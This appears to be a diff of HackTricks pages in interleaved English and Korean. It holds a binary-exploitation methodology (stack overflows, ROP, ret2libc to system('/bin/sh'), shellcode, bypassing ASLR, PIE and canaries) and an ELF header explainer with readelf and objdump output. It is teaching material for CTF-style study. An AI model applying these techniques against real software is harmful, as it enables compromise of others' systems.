Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
무언가를 익스플로잇하기 전에 **ELF 바이너리**의 구조 일부를 이해하는 것이 흥미롭습니다:
{{#ref}}
elf-tricks.md
{{#endref}}
## Exploiting Tools
## 익스플로잇 도구
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## 스택 오버플로우 방법론
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
많은 기술이 있기 때문에 각 기술이 유용할 때의 스킴을 갖는 것이 좋습니다. 동일한 보호가 서로 다른 기술에 영향을 미칠 수 있음을 유의하십시오. 각 보호 섹션에서 보호를 우회하는 방법을 찾을 수 있지만 이 방법론에서는 찾을 수 없습니다.
## Controlling the Flow
## 흐름 제어
There are different was you could end controlling the flow of a program:
프로그램의 흐름을 제어하는 방법은 여러 가지가 있습니다:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**스택 오버플로우**](../stack-overflow/)를 통해 스택의 반환 포인터 또는 EBP -> ESP -> EIP를 덮어쓰기.
- 오버플로우를 유발하기 위해 [**정수 오버플로우**](../integer-overflow.md)를 악용해야 할 수도 있습니다.
- 또는 **임의 쓰기 + 실행을 위한 쓰기 위치 지정**을 통해.
- [**포맷 문자열**](../format-strings/)**:** `printf`를 악용하여 임의의 내용을 임의의 주소에 쓰기.
- [**배열 인덱싱**](../array-indexing.md): 잘못 설계된 인덱싱을 악용하여 일부 배열을 제어하고 임의의 쓰기를 얻기.
- 오버플로우를 유발하기 위해 [**정수 오버플로우**](../integer-overflow.md)를 악용해야 할 수도 있습니다.
- **ROP를 통한 bof to WWW**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있습니다.
You can find the **Write What Where to Execution** techniques in:
**실행을 위한 쓰기 위치 지정** 기술은 다음에서 찾을 수 있습니다:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## 영원한 루프
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
고려해야 할 점은 일반적으로 **취약점을 한 번 익스플로잇하는 것만으로는 성공적인 익스플로잇을 실행하기에 충분하지 않을 수 있습니다**, 특히 일부 보호를 우회해야 할 필요가 있습니다. 따라서 **단일 취약점을 동일한 바이너리 실행에서 여러 번 익스플로잇할 수 있는 옵션**에 대해 논의하는 것이 흥미롭습니다:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- **`main` 함수**의 주소 또는 **취약점**이 발생하는 주소를 **ROP** 체인에 작성.
- 적절한 ROP 체인을 제어하면 해당 체인에서 모든 작업을 수행할 수 있습니다.
- **`exit` GOT의 주소**에 (종료 전에 바이너리가 사용하는 다른 함수의 주소) **취약점으로 돌아가는 주소**를 작성.
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**에서 설명한 대로**, 여기에서 두 개의 함수를 저장하여 하나는 취약점을 다시 호출하고 다른 하나는 **`__libc_csu_fini`**를 호출하여 `.fini_array`의 함수를 다시 호출합니다.
## Exploitation Goals
## 익스플로잇 목표
### Goal: Call an Existing function
### 목표: 기존 함수 호출
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win): 플래그를 얻기 위해 호출해야 하는 코드에 함수가 있습니다(특정 매개변수와 함께 호출해야 할 수도 있음).
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **및** [**카나리**](../common-binary-protections-and-bypasses/stack-canaries/)가 없는 **정상적인 bof**에서는 스택에 저장된 반환 주소에 주소를 작성하기만 하면 됩니다.
- [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있는 bof에서는 이를 우회해야 합니다.
- [**카나리**](../common-binary-protections-and-bypasses/stack-canaries/)가 있는 bof에서는 이를 우회해야 합니다.
- **ret2win** 함수를 올바르게 호출하기 위해 여러 매개변수를 설정해야 하는 경우 다음을 사용할 수 있습니다:
- 모든 매개변수를 준비할 수 있는 충분한 가젯이 있는 [**ROP**](./#rop-and-ret2...-techniques) **체인**.
- 많은 레지스터를 제어하기 위해 [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (이 시스템 호출을 호출할 수 있는 경우).
- 여러 레지스터를 제어하기 위한 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서의 가젯.
- [**Write What Where**](../arbitrary-write-2-exec/)를 통해 다른 취약점(버퍼 오버플로우가 아님)을 악용하여 **`win`** 함수를 호출할 수 있습니다.
- [**포인터 리디렉션**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 미칠 수 있습니다.
- [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 당신은 결코 알 수 없습니다.
### Goal: RCE
### 목표: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### 쉘코드를 통한, nx 비활성화 또는 쉘코드와 ROP 혼합:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(스택) 쉘코드**](./#stack-shellcode): 반환 포인터를 덮어쓰기 전후에 스택에 쉘코드를 저장한 다음 **점프하여** 실행하는 데 유용합니다:
- 어떤 경우에도 **카나리**가 있는 경우, 정상적인 bof에서는 이를 우회(유출)해야 합니다.
- **ASLR** [**없이**](../common-binary-protections-and-bypasses/aslr/) **및** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **가 없는 경우**, 스택의 주소로 점프할 수 있습니다. 주소는 절대 변경되지 않기 때문입니다.
- **ASLR**가 있는 경우 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)와 같은 기술이 필요합니다.
- **nx**가 있는 경우, [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하고 일부 페이지를 `rwx`로 만들어야 하며, 그런 다음 **거기에 쉘코드를 저장**(예: read 호출)하고 점프해야 합니다.
- 이는 쉘코드를 ROP 체인과 혼합합니다.
#### Via syscalls
#### 시스템 호출을 통한
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **특정 시스템 호출을 매개변수와 함께 호출하기 위한 가젯을 찾아야 합니다**.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화된 경우, **ROP 가젯을 사용하기 위해 이를 무력화해야 합니다**.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)는 **ret2execve**를 준비하는 데 유용할 수 있습니다.
- 여러 레지스터를 제어하기 위한 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서의 가젯.
#### Via libc
#### libc를 통한
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**의 함수(예: `'/bin/sh'`와 같은 준비된 인수로 **`system`**)를 호출하는 데 유용합니다. 호출하려는 함수가 있는 라이브러리를 **로드**해야 합니다(일반적으로 libc).
- **정적으로 컴파일되고** [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, `system``/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다.
- **ASLR** [**없이**](../common-binary-protections-and-bypasses/aslr/) **및 로드된 libc 버전을 알고 있는 경우**, `system``/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있고 바이너리가 `system` 함수를 사용하는 경우, **GOT에서 system의 주소로 `ret`**하고 `/bin/sh`의 주소를 매개변수로 사용하는 것이 가능합니다(이를 알아내야 합니다).
- [ASLR](../common-binary-protections-and-bypasses/aslr/)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있고 **바이너리가 `system`을 사용하지 않는 경우**:
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)를 사용하여 `system`의 주소를 해결하고 호출합니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)를 우회하고 메모리에서 `system``'/bin/sh'`의 주소를 계산합니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **및** [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있고 libc를 모르는 경우:
- [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 합니다.
- 사용된 **`libc` 버전**을 찾아야 합니다(몇 개의 함수 주소를 유출).
- 계속하기 위해 **ASLR**가 있는 이전 시나리오를 확인합니다.
#### Via EBP/RBP
#### EBP/RBP를 통한
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**스택 피벗팅 / EBP2Ret / EBP 체이닝**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 스택에 저장된 EBP를 통해 RET를 제어하기 위해 ESP를 제어합니다.
- **오프 바이 원** 스택 오버플로우에 유용합니다.
- EIP를 제어하는 대체 방법으로 유용하며, EIP를 악용하여 메모리에 페이로드를 구성한 다음 EBP를 통해 점프합니다.
#### Misc
#### 기타
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
- [**포인터 리디렉션**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 미칠 수 있습니다.
- [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 당신은 결코 알 수 없습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information
# ELF 기본 정보
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## 프로그램 헤더
로더에게 **ELF**를 메모리에 로드하는 방법을 설명합니다:
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
이전 프로그램에는 **9개의 프로그램 헤더**가 있으며, **세그먼트 매핑**은 **각 섹션이 위치한** 프로그램 헤더(00에서 08까지)를 나타냅니다.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - 프로그램 헤더
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
프로그램 헤더 테이블과 메타데이터 자체를 포함합니다.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
바이너리를 메모리에 로드하는 데 사용할 로더의 경로를 나타냅니다.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
이 헤더는 **바이너리를 메모리에 로드하는 방법**을 나타내는 데 사용됩니다.\
**LOAD** 헤더는 **메모리**의 영역(크기, 권한 및 정렬)을 나타내고, 그곳에 복사할 ELF **바이너리의 바이트**를 나타냅니다.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
예를 들어, 두 번째 헤더는 크기가 0x1190이며, 0x1fc48에 위치해야 하고, 읽기 및 쓰기 권한을 가지며, 오프셋 0xfc48에서 0x528로 채워집니다(모든 예약된 공간을 채우지 않습니다). 이 메모리에는 섹션 `.init_array .fini_array .dynamic .got .data .bss`가 포함됩니다.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
이 헤더는 프로그램을 라이브러리 종속성과 연결하고 재배치를 적용하는 데 도움을 줍니다. **`.dynamic`** 섹션을 확인하세요.
### NOTE
This stores vendor metadata information about the binary.
이것은 바이너리에 대한 공급업체 메타데이터 정보를 저장합니다.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
디버거와 C++ 예외 처리 런타임 함수에서 사용하는 스택 언와인드 테이블의 위치를 정의합니다.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
스택 실행 방지 방어의 구성을 포함합니다. 활성화되면 바이너리는 스택에서 코드를 실행할 수 없습니다.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
바이너리의 RELRO(재배치 읽기 전용) 구성을 나타냅니다. 이 보호는 프로그램이 로드된 후 실행되기 전에 메모리의 특정 섹션(예: `GOT` 또는 `init``fini` 테이블)을 읽기 전용으로 표시합니다.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
이전 예제에서는 0x3b8 바이트를 0x1fc48에 읽기 전용으로 복사하여 섹션 `.init_array .fini_array .dynamic .got .data .bss`에 영향을 미칩니다.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
RELRO는 부분적이거나 전체적일 수 있으며, 부분 버전은 **`.plt.got`** 섹션을 보호하지 않으며, 이는 **지연 바인딩**에 사용되며 라이브러리의 주소를 처음 검색할 때 이 메모리 공간에 **쓰기 권한**이 필요합니다.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
스레드 로컬 변수에 대한 정보를 저장하는 TLS 항목의 테이블을 정의합니다.
## Section Headers
Section headers gives a more detailed view of the ELF binary
## 섹션 헤더
섹션 헤더는 ELF 바이너리에 대한 보다 자세한 정보를 제공합니다.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
그것은 위치, 오프셋, 권한뿐만 아니라 섹션의 **데이터 유형**도 나타냅니다.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### 메타 섹션
### Meta Sections
